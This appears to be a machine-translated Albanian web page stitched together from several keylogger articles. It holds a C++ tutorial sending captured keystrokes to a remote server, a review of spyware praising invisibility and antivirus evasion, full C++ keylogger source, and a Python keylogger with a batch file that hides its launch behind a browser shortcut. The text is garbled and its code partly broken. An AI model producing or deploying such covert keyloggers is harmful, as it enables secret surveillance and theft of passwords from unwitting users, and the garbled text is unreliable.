Laboratori i Sigurisë së Informacionit.              Laboratori i Sigurisë së Informacionit Sa kohë zgjati?


Dhe para se të filloni të lexoni, hidhini një sy blogut tim, ku publikoj artikujt e mi origjinalë mbi programimin, virologjinë dhe gjëra të tjera interesante.
Artikulli origjinal -

I gjithë informacioni jepet vetëm për qëllime informative. As administrata dhe as autori nuk janë përgjegjës për ndonjë dëm të mundshëm të shkaktuar nga materialet e këtij artikulli.


Parathënie
Për rreth një muaj, kam vëzhguar vazhdimisht kërkesa dhe pyetje të ndryshme në lidhje me keyloggers. Shumë kërkuan, por nuk gjetën kodin burimor, shumë kërkuan, por shitësit nuk mund ta gjenin, etj.

Në këtë artikull dua të tregoj se sa e lehtë është të shkruani keylogger-in tuaj me funksionalitetin bazë. Unë huazova bazën nga këtu - * * , rregulloi gabimet dhe e modifikoi për të bashkëvepruar me WinSocket.

Materiale
  • Përditësimi i komunitetit të Visual Studio 2015 4
  • Visual C++ 2015
Struktura e aplikimit
Së pari, ju duhet të përcaktoni se si do të funksionojë keylogger në përgjithësi. Qoftë dërgimi i regjistrave në FTP/Mail, regjistrimi i klikimeve në një prizë, dërgimi i një skedari në një portë, shkrimi i regjistrave në një bazë të dhënash.
Vendosa të ngjitem me priza. Pse? Është i përshtatshëm, i thjeshtë dhe i përdorshëm.
Bazuar në zgjedhjen, do të na duhet të bëjmë 2 aplikime:

Serveri
  • Aplikacioni i konsolës që do të marrë të dhëna nga klienti dhe do t'i nxjerrë ato në tastierë
Klienti
  • Në fakt, vetë keylogger, i cili do të dërgojë tastierë në server
Dhe ne do të fillojmë, ndoshta, me serverin.

Serveri
Krijo një aplikacion të konsolës C++ në Visual Studio.
I gjithë kodi është në zyrë. Shembull MSDN - *Identifikohu në forum për të parë lidhjet. *
Thjesht duhet të zëvendësojmë disa vlera në të...
Le të shkruajmë menjëherë variablat konstante: madhësinë e tamponit dhe portin e serverit në të cilin do të dërgohen regjistrat

Kodi:

#define DEFAULT_BUFLEN 1024 //Buffer #define DEFAULT_PORT "1337" //Port

Në vend të një do/while një herë, ne vendosim një qark të pafund në të cilin do të marrim të dhëna nga klienti, do t'i nxjerrim ato në tastierë, do të mbyllim lidhjen dhe do ta bëjmë përsëri:

Kodi:

Bëj ( ClientSocket = prano (ListenSocket, NULL, NULL); // Prano lidhjen iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // Lexo regjistrin nëse (iResult > 0) // Nëse regjistri nuk është bosh printf("% s", recvbuf); //Output closesocket(ClientSocket);//Mbyll lidhjen memset(recvbuf, 0, sizeof recvbuf);//Lësho memorien) while (true);

Ne përpilojmë në Release, e ngarkojmë atë në Dedik, hapim portin që na nevojitet dhe nisim

Klienti


Krijoni një aplikacion Win32 në Visual Studio.
Siç thashë më lart, mora grepin e tastierës dhe mbajtësin e klikimeve nga *Identifikohu në forum për të parë lidhjet. *
Për të siguruar dërgimin e klikimeve në prizë, iu drejtova *Identifikohu në forum për të parë lidhjet. *
Gjithashtu, ne përcaktojmë menjëherë variabla konstante: gjatësia e buferit, IP Dedik/kompjuter dhe porta

Kodi:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Disa variabla duhej të hiqeshin nga metodat e tyre dhe të bëheshin globale që kodi të fillonte të funksiononte siç duhet:

Kodi:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char fundit dritare; int Save(int key_stroke);// U hoq argumenti i dytë

Ne krijojmë një metodë për dërgimin e të dhënave në server duke ndjekur shembullin në fillim të paragrafit. Më pas, kudo ne zëvendësojmë portin, IP-në dhe informacionin e transmetuar me argumente funksioni:

Kodi:

Të dhënat e dërgimit të pavlefshme (char *ip, char * port, char*të dhëna)

Në metodën Save, ne bëjmë si më poshtë - heqim argumentin e dytë dhe ndryshojmë regjistrimin e regjistrave në një skedar për ta dërguar në server:

Kodi:

Të dhënat e Char; sprintf(të dhënat, "\n\n\n", titulli_dritare, s); sendData (SERVER_IP, SERVER_PORT, të dhëna);

Më pas, duke përdorur të njëjtin parim, ne ndryshojmë dërgimin e tasteve të shërbimit. Ju mund të dërgoni letra në këtë mënyrë:

Kodi:

Char c; sprintf(c, "%c", tasti_stroke); dërgoni të dhënat (SERVER_IP, SERVER_PORT, c);

Ne kemi hequr gjithçka që lidhet me dukshmërinë e dritares nga kodi dhe kemi mbaruar.

Fundi
Kur lansohet keylogger, ai do të varet në procese dhe do të përpunojë çdo shtypje tasti. Është e mundur që disa karaktere të shfaqen gabimisht, për shembull, me prerje, por e gjithë kjo mund të korrigjohet vetë (në fund të fundit, nëse gjithçka do të ishte perfekte, Jezusi do të trokiste në kryeministrin tim duke më kërkuar të kontrolloja shitësin e tastierës private).

Programe të ndryshme spiunazhi janë të nevojshme në kushtet kur shumë njerëz kanë akses në një kompjuter.

Në këto kushte, përdoruesi mund të dëshirojë të dijë se cilat faqe janë vizituar nga kompjuteri i tij (për shembull, nga fëmijët), nëse vjedhja ka ndodhur nga kartat e kreditit duke përdorur fjalëkalime të ruajtura, etj. për të sqaruar këto çështje që do t'ju nevojiten.

Rishikimi ynë do t'ju lejojë të bëni zgjedhjen më të mirë.

Karakteristikat e zgjedhjes

Çfarë është saktësisht një keylogger? Ky është një program që, në mënyrë rigoroze, nuk lidhet drejtpërdrejt me tastierën.

Instalohet në memorien e kompjuterit dhe vepron. Shpesh, shenjat e aktivitetit të tij nuk janë të dukshme në kompjuter nëse nuk i kërkoni ato në mënyrë specifike.

Një program i tillë ndërvepron në mënyrë indirekte me tastierën, domethënë punon me një program në PC që konverton sinjalet e marra nga procesori si rezultat i shtypjes së butonave në tekst gjatë printimit.

Kjo do të thotë, veprimi i një softueri të tillë ka për qëllim mbledhjen e informacionit të futur përmes tastierës.

Ka shërbime të tilla tipe te ndryshme– me ndihmën e disave mund të shikoni të gjithë tekstin e shtypur nga tastiera, me të tjerët – vetëm atë që është shtypur në shfletues ose në ndonjë aplikacion të zgjedhur.

Disa programe ofrojnë aftësinë për të konfiguruar tregues të tillë, të tjerët jo.

Ato ndryshojnë nga njëri-tjetri edhe në shkallën e fshehtësisë. Për shembull, aktiviteti i disave është i dukshëm, një shkurtore mbetet në Desktop, etj., të tilla programet janë të përshtatshme për monitorimin e aktiviteteve, për shembull, të fëmijëve.

Gjurmët e pranisë dhe aktivitetit të të tjerëve nuk janë aspak të dukshme - ato veprojnë të fshehura dhe janë të përshtatshme për instalim në kompjuterin e dikujt tjetër, kur fakti i instalimit duhet të fshihet nga një përdorues i palës së tretë.

Duke pasur parasysh një diversitet të tillë, zgjedhja e softuerit më të përshtatshëm mund të jetë mjaft e vështirë.

Ky material paraqet TOP programet më të mira, të cilat mund të përdoren për këtë qëllim. Është më e lehtë të zgjedhësh atë të duhurin mes tyre.

Specifikimet

Për të thjeshtuar procesin e përzgjedhjes software Tabela më poshtë tregon karakteristikat kryesore krahasuese të të gjitha programeve të përfshira në TOP.

EmriLloji i licencësLloji i informacionit të mbledhurFunksionaleDizajn
SC-KeyLogFalasTë gjithaI gjerëE thjeshtuar
WideStep Handy KeyloggerFalas / me pagesëTë gjithaI gjerëPërmirësuar
Spiun aktualI paguarTë gjithaShumë e gjerëStandard
EliteKeyloggerI paguarTë gjithaI gjerëStandard
Miu!Falas / me pagesëMë pak se më parëMjaft e gjerëjoestetike
SPYGOFalasNë varësi të versionitNë varësi të versionitPamja standarde e Windows
Ardamax Keylogger 2.9FalasNga tastieraI ngushtuarE thjeshtuar
Monitor personal NS Keylogger 3.8FalasTë gjithaI ngushtuarE thjeshtuar
Spiun i KGB-sëI paguarNga tastiera + programe të hapuraI ngushtëE thjeshtë
Golden Keylogger 1.32FalasNga tastieraShumë e ngushtëE thjeshtë

Bazuar në karakteristikat nga kjo tabelë, është e lehtë të zgjidhni programin që i përshtatet më së miri kërkesave tuaja specifike.

Këto shërbime janë përshkruar më në detaje më poshtë.

SC-KeyLog

Ky është një program spiun voluminoz dhe funksional që shpërndahet pa pagesë.

Përveç gjurmimit specifik të informacionit të futur nga tastiera, është gjithashtu në gjendje të mbledhë adresat e faqeve të vizituara, fjalëkalimet dhe dritaret e hapura të shfletuesit.

Ofron informacion të plotë për të gjitha veprimet e kryera në kompjuter. Në këtë rast, skedari i krijuar mund të shikohet nga distanca nga një pajisje tjetër.

  • Mundësi akses në distancë në një skedar nga një pajisje tjetër;
  • Nuk ka gjurmë të aktivitetit të programit në kompjuter me cilësimet e duhura;
  • Shumëllojshmëri të dhënash të mbledhura - informacioni për pothuajse të gjitha veprimet në PC mund të aksesohet.
  • Ruan fjalëkalimet vetëm deri në NT0;
  • Menu shumë e thjeshtë dhe dizajn joestetik;
  • Një format mjaft i papërshtatshëm për shfaqjen e rezultatit.

Çfarë thonë përdoruesit që përdorin në mënyrë aktive këtë softuer? "Absolutisht e padukshme për përdoruesin", "Të dhënat mbërrijnë rregullisht me email."

WideStep Handy Keylogger

Ky aplikacion shpërndahet pa pagesë. Versioni i plotë i paguar kushton 35 dollarë.

Një program mjaft interesant dhe funksional që ia vlen paratë nëse jeni të gatshëm ta paguani.

Tipar dallues– aftësia për të dërguar të dhëna të regjistruara në një frekuencë të caktuar. Përndryshe funksionon mirë, shpesh më i qëndrueshëm se programet e tjera në këtë listë.

  • Mbledhja e llojeve të ndryshme të informacionit;
  • Padukshmëri e plotë e punës në kompjuterin e përdoruesit;
  • Ndërfaqe e thjeshtë dhe kontrolle.
  • Dizajni është më i mirë se programi i mëparshëm, por ende jo i shkëlqyeshëm;
  • Formati i shfaqjes së rezultatit është i papërshtatshëm;
  • Versioni me pagesë është mjaft i shtrenjtë.

Mendimet e përdoruesve për këtë softuer janë si më poshtë: “Program i përshtatshëm, i thjeshtë dhe funksional. Mjaft e padukshme kur punoni.”

Spiun aktual

Ky është një program funksional dhe kompleks me pagesë që kushton 600 rubla. Sidoqoftë, ai ka një version demo që është falas.

Veçori e këtij softueri– aftësi në një periudhë të caktuar kohore.

Kjo ndihmon në zgjidhjen e problemit të futjes së një fjalëkalimi/çelës grafik, i cili kohët e fundit është bërë i përhapur.

  • Shumë lloje informacioni të mbledhur plus aftësinë për të marrë pamje nga ekrani gjatë një periudhe të caktuar;
  • Një numër i madh i të tjerëve funksione shtesë dhe veçoritë;
  • Regjistron jo vetëm veprimet, por edhe kohën e kryerjes së tyre;
  • Enkripton regjistrin e krijuar.
  • Kohëzgjatja e punës (mbledhja e informacionit) në versionin demo falas është 40 minuta;
  • Shpërndarja me pagesë, megjithëse një çmim pak a shumë i arsyeshëm;
  • Pesha e programit është mjaft e madhe.

Vlerësimet e përdoruesve rreth këtë aplikacion janë: “Programi është i shkëlqyer. Të lumtë programues!”

EliteKeylogger

Program me pagesë me një çmim mjaft të lartë– 69 dollarë. Ai funksionon plotësisht në mënyrë të pazbulueshme në një PC në modalitetin e nivelit të ulët, duke e bërë atë pothuajse plotësisht të pazbulueshëm.

Karakteristikë interesante dhe e përshtatshme– nisja automatike e softuerit, që ndodh njëkohësisht me lëshimin e vetë sistemit.

Është e vështirë të zbulohet ose të mos zbulohet fare edhe nga anti-keylogger të veçantë.

  • Veprim plotësisht i fshehur dhe i vështirë për t'u zbuluar;
  • Formati i funksionimit të tipit drejtues të nivelit të ulët dhe nisja automatike kur sistemi niset;
  • Ai gjithashtu gjurmon shtypjet e jo vetëm kryesore, por edhe çelësat e shërbimit në tastierë.
  • Mjaft një sistem kompleks instalimi i programit në një kompjuter;
  • Programi është i shtrenjtë, por mund të gjeni një version të vjetër të hakuar në internetin rus;
  • Një sistem mjaft kompleks i cilësimeve të programit individual, i cili, megjithatë, justifikon veten.

Çfarë thonë përdoruesit për këtë softuer? " Program i mirë", "Pak më pak nga Jetlogger."

Miu!

Një mjet mjaft i zakonshëm dhe popullor, funksional me një licencë të paguar.

Megjithatë, për përdorim privat, një version demo falas ofrohet për një periudhë të kufizuar.

Programi është shumë i thjeshtë– çdo përdorues i avancuar mund të shkruajë të njëjtën gjë. Sidoqoftë, është plotësisht i pazbulueshëm nga antiviruset dhe programe të veçanta, duke zbuluar një softuer të tillë.

  • Thjeshtësia, funksionaliteti dhe stabiliteti i lartë;
  • Pesha minimale e skedarit dhe hapësira e zënë prej tij në kompjuter;
  • Shumë cilësime.
  • Një dizajn mjaft i pakëndshëm, i bërë në të zezë, të bardhë dhe të kuqe;
  • Funksionaliteti është disi më i ngushtë se në programet e përshkruara më parë;
  • Shikimi i papërshtatshëm i regjistrit dhe ndërfaqja dhe përdorimi përgjithësisht i papërshtatshëm.

Përdoruesit thonë si më poshtë për këtë program: "Funksionon në mënyrë të qëndrueshme, por është paksa i thjeshtë", "Programi është i mirë, ju lejon të mbledhni të dhëna pa u vënë re."

SPYGO

Ky është një keylogger thelbësisht i ri, i krijuar për të punuar dhe zhvilluar nga një programues rus.

Publikuar më 18 janar 2015. Ku?" Nuk ka nevojë të kërkoni mënyra të thjeshta, veçanërisht në internet :). Shkarkoni keylogger falas mundeni, por përgatituni për kufizime apo surpriza të ndryshme. Së pari, funksionaliteti i keylogger do të jetë i ulët. Demo falas programe të plota zakonisht përmbajnë kufizime, ndonjëherë të papritura :). Së dyti, nuk do të ketë keylogger shtesë, zakonisht shoqërues programe shtesë ose funksionet e përpunimit të regjistrave, cilësimet e gjurmimit, etj. Së treti, nuk do të gjeni mbështetje për keylogger nga prodhuesit. Në vend që të shikoni se ku shkarkoni keylogger falas, mendoni ta shkruani vetë? më e thjeshta keylogger për Windows Nuk është shumë e vështirë të shkruash nëse ke bazat e programimit të Windows. Pra, ne vazhdojmë të publikojmë burimet e keylogger. Keylogger për Windows shkruar në C++, natyrisht duke përdorur Win API. Hookja e çelësit zbatohet duke përdorur SetWindowsHookEx(WH_KEYBOARD_LL,...). Një skedar i ekzekutueshëm krijohet pa një bibliotekë dll, si të thuash, një keylogger në një skedar! Përparësitë janë të dukshme - është më e lehtë për t'u organizuar instalim në distancë, madhësi më e vogël, fshehtësi më e madhe (dll nuk do të varet në proceset e të gjitha aplikacioneve). Disavantazhi i kësaj metode përgjimi është se ajo është e paqëndrueshme, ose përgjithësisht refuzon të punojë në Windows 7. Përgjimi i çelësave pa përdorur një dll (WH_KEYBOARD_LL) shkakton keqkuptim midis të shtatëve. Ju duhet të përdorni shamanizëm dhe magji për të funksionuar keylogger. Sigurisht, ka gjithmonë një rrugëdalje (kërkojeni vetë, dhe forca qoftë me ju :)). Ju gjithashtu mund të shkruani një normal duke përdorur SetWindowsHookEx (WH_KEYBOARD_LL,...). Gjithçka do të jetë mirë në Windows 7. Nuk dihet ende se si do të funksionojë WH_KEYBOARD_LL në Windows 8.

Regjistrimi organizohet përmes një transmetimi skedarësh. U shtuan disa gjëra për të përmirësuar lexueshmërinë e regjistrave. Kodi është i vogël dhe efikas. I përshtatshëm për një keylogger për dritare me aditivë të caktuar dhe pyetja është se ku mundem shkarkoni keylogger falas zhduket.

Skedari burim *.exe:

#përfshi< windows.h >#përfshi< fstream >#përfshi< iostream >#përfshi< algorithm >#përfshi< string >duke përdorur hapësirën e emrave std; vargu myKey; BOOL isCaps(); char logName = "keys.txt";//LOG FILE Emri //init të gjitha variablat për shpejtësinë e mesazhit MSG; HHOOK keyboardHook; char keyNameBuff; PKBDLLHOOKSTRUCT p; i panënshkruar int sc; //keylogger për Windows void writeToLog(string s) //shkruani një varg në regjistër ( ofstream log(logName, ios::app); //hap log file log<< s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc<<= 16; //shift 16 bits if (!(p->vkCode<= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

Ju mund të përdorni çdo mjedis zhvillimi që ju pëlqen (Dev-C++, MSVS, Borland C++). Ne mbledhim, bëjmë ndryshimet e nevojshme individuale dhekeylogger për Windowsgati dhe kaloni kohë duke kërkuar ku mundeniShkarko

Përshëndetje, banorë të Khabrovsk.

Vendosa të shkruaj një regjistrues të tastierës softuerike në C++ duke përdorur WinAPI. Nuk mund të them se po ndiqja një lloj qëllimi spiunazhi kur e shkrova; përkundrazi, po njihesha me grepa WinAPI. Meqenëse doli jo aq keq, dhe nuk ka asnjë artikull në Habré në lidhje me regjistruesit e softuerit, vendosa të shkruaj timin.

Si bëhet kjo?

Një goditje tastiere u përdor për të kapur shtypjen e tastit.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Për të përgjuar të gjitha goditjet e tastierës, është e përshtatshme të specifikoni WH_KEYBOARD ose WH_KEYBOARD_LL si parametrin idHook. Dallimi i vetëm është se WH_KEYBOARD_LL gjithashtu përgjon shtypjet e tastit të sistemit (d.m.th. Alt ose ndonjë tast ndërsa Alt mbahet i shtypur), kështu që ne do ta zgjedhim atë.

Lpfn është një tregues për një funksion që përpunon mesazhet e përgjuara (në rastin tonë, goditjet e tasteve).
hMod është një dorezë e shembullit të aplikacionit që përmban një funksion përpunimi.
dwThreadId është identifikuesi i thread-it, mesazhet e të cilit duam të përgjojmë. Ky parametër duhet të vendoset në 0 për të përgjuar mesazhet nga të gjitha temat.

Vlera e kthimit është një dorezë për grepin tonë, e cila do të duhet të lirohet me funksionin UnhookWindowsHookEx kur të dalësh.
Duke parë MSDN-në për ndihmë, ne shohim një prototip të një funksioni që përpunon mesazhet nga kjo goditje.

REZULTATET KTHYRJA E REZULTATEVE tastiera e nivelit të ulët (_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode duhet të jetë i barabartë me HC_ACTION, përndryshe mesazhi i jepet një procesi tjetër.
wParam është një nga vlerat e mëposhtme: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN ose WM_SYSKEYUP.
lParam është një tregues për strukturën KBDLLHOOKSTRUCT, në fushat e së cilës na interesojnë vetëm 2 parametra: vkCode (kodi virtual) dhe scanCode i tastit të shtypur.
Ky funksion duhet të kthejë vlerën e funksionit CallNextHookEx, përndryshe grepa tjetër që përpunon ngjarjen mund të marrë parametra të pasaktë të mesazhit.
Sa herë që shtypet një tast, programi ynë do ta përgjojë këtë ngjarje dhe do ta përpunojë atë me procedurën tonë LowLevelKeyboardProc.

Për të ripërkthyer kodin virtual dhe skanues të një çelësi në formë simbolike, na duhet funksioni ToAsciiEx.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ konst BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwh);

2 parametrat e parë janë përkatësisht kodet virtuale dhe skanuese të çelësit.
lpKeyState — gjendja e tastierës, kontrollon se cilët taste janë shtypur/aktivë.
lpChar është një tregues për një fjalë të dyfishtë në të cilën funksioni do të shkruajë paraqitjen simbolike të çelësit.
uFlags është një parametër që tregon aktivitetin e menysë.
dwhkl - identifikuesi i paraqitjes së tastierës.
Vlera e kthyer është numri i karaktereve të shkruara në buferin lpChar. Na intereson rasti kur shkruhet 1 karakter.
Në thelb, këto janë 3 funksionet kryesore që kërkohen për regjistruesin më të thjeshtë të tastierës.

Pak për programin

Programi është përpiluar pa RTL në Visual Studio 2013. Kështu, marrim një madhësi të vogël të skedarit të ekzekutueshëm dhe pamundësinë e ndërtimit në versionin e korrigjimit. Të dhënat shkruhen në një skedar log në të njëjtën direktori ku ndodhet skedari .exe. Për lehtësi, logger-i krijon një skedar të ri sa herë që regjistron, regjistron kohën e shtypjes së tastit, emrin e dritares në të cilën janë futur karakteret dhe ndalon duke shtypur LSHIFT+RSHIFT. Ky sniffer nuk është përshtatur për një tastierë të plotë; disa çelësa shërbimi, si F13 ose NUM_LOCK, mund të shkruhen si . Unë mendoj se ata që janë të paktën pak të njohur me C/C++ mund t'i shtojnë lehtësisht. Për më tepër, ju mund ta ndryshoni plotësisht kodin që t'ju përshtatet.

Përshëndetje, QUAZAR është përsëri këtu. Sot do t'ju tregoj se si të krijoni një keylogger të thjeshtë në Python. Sigurisht, ky keylogger nuk mund të konkurrojë me gjigantë të tillë, por pavarësisht kësaj, ai mund të gjejë përdorimin e tij.

Çfarë është një keylogger?

Ju mund të lexoni në detaje se çfarë është një keylogger dhe për llojet e keylogger-ve në artikullin "". Për të gjetur materiale shtesë mbi temën, përdorni kërkimin e faqes, i cili ndodhet në këndin e sipërm të djathtë. Thjesht shkruani fjalën "keylogger" ose "keylogger".

Keylogger i thjeshtë në Python

Për të krijuar një keylogger na duhet:

  • Sistemi operativ: Windows ose MacO (mund të përdoret gjithashtu çdo Linux, por nuk e kam provuar personalisht)
  • Python i instaluar në makinën e synuar, si dhe biblioteka të veçanta.

Ky material është vetëm për qëllime informative. Informacioni i paraqitur në këtë artikull jepet vetëm për qëllime informative. As redaktorët e faqes së internetit www.site dhe as autori i publikimit nuk mbajnë asnjë përgjegjësi për ndonjë dëm të shkaktuar nga materiali në këtë artikull.

Krijimi i një keylogger të thjeshtë në Python

Së pari ju duhet të shkarkoni dhe instaloni Python.


Keylogger i thjeshtë në Python

Pas instalimit të Python, duhet të instaloni modulet "pyHook" dhe "pywin32". Në këtë faqe do të gjeni versione 32 dhe 64 bit për Windows dhe OS të tjera. Shkarkoni "PYhook" dhe "pyWin32" sipas versionit tuaj të instaluar të Python dhe Windows (32bit ose 64bit).


Keylogger në Python. Moduli PYhook Keylogger në Python. Moduli pyWin32

Pasi të keni shkarkuar, instaloni dhe hapni menunë IDLE (Python GUI) nga menyja Start.

Keylogger i thjeshtë në Python

Shkoni te menyja "File" dhe klikoni në artikullin "Skedari i ri". Pastaj ngjisni kodin e keylogger:

#Emri: QUAZAR
#Faqja e internetit: www.site
importoni pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
përcaktoj OnKeyboardEvent (ngjarje):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(ngjarje.Ascii)
logging.log(10,chr(event.Ascii))
ktheje e vërtetë
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Dhe ruajeni duke thirrur skedarin Keylogger.pyw. Thjesht mos e ruani skedarin në direktorinë rrënjësore C: ku ju nevojiten të drejtat e administratorit për të kopjuar dhe fshirë skedarët. Krijoni një dosje të re në diskun tuaj C: ose në ndonjë vendndodhje tjetër ku nuk keni nevojë për të drejtat e administratorit për të kopjuar skedarët dhe për të ruajtur Keylogger.pyw atje.

Ju mund të zgjidhni çdo vendndodhje si skedarin e raportit të daljes "file_log = "C:keyloggerlog.txt", por mundësisht, sigurisht, ndonjë vendndodhje të fshehur në hard diskun tuaj. Në këtë shembull, unë do ta ruaj skedarin e raportit në disk në direktorinë rrënjë C:. Në fund të fundit, nuk kam asgjë për të fshehur.

Nisja automatike e një keylogger në Python

Keylogger është gati. Tani duhet të sigurohemi që keylogger të fillojë të fshihet nga përdoruesi dhe automatikisht kur Windows të niset. Kjo mund të zbatohet në mënyra të ndryshme. Le të përpiqemi ta bëjmë atë duke përdorur një skedar bat duke lidhur nisjen e keylogger me ndonjë program ose duke e regjistruar atë në fillim.

Së pari, krijoni një skedar bat. Kopjoni dhe ngjisni kodin e mëposhtëm në Notepad:

::Emri: QUAZAR
::Faqja e internetit: www.site
@echo fikur
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

Në rreshtin e parë duhet të futni shtegun për në skedarin keylogger.pyw (në rastin tim "C:keylogger.pyw"). Në rreshtin e dytë, duhet të futni shtegun e programit që përdoruesi përdor zakonisht (në rastin tim, shfletuesi Opera).

Pas redaktimit, ruani skedarin me një shtesë .bat (në rastin tim logger.bat) në një vend të fshehur në kompjuterin tuaj (në rastin tim në "C:keylogger.bat").

Tani shkoni në desktop dhe zgjidhni një shkurtore për një program të përdorur shpesh (në rastin tim, ky është shfletuesi Opera). Klikoni me të djathtën mbi miun për të thirrur menunë e kontekstit dhe shkoni te vetitë e shkurtoreve. Në fushën "Object", futni shtegun për në skedarin bat keylogger "C:keyloggerlogger.bat".

Pas kryerjes së ndryshimeve, ikona e shkurtoreve do të ndryshojë gjithashtu. Por kjo mund të zgjidhet lehtësisht në skedën e vetive (shih pamjen e ekranit më lart).

Publikime mbi temën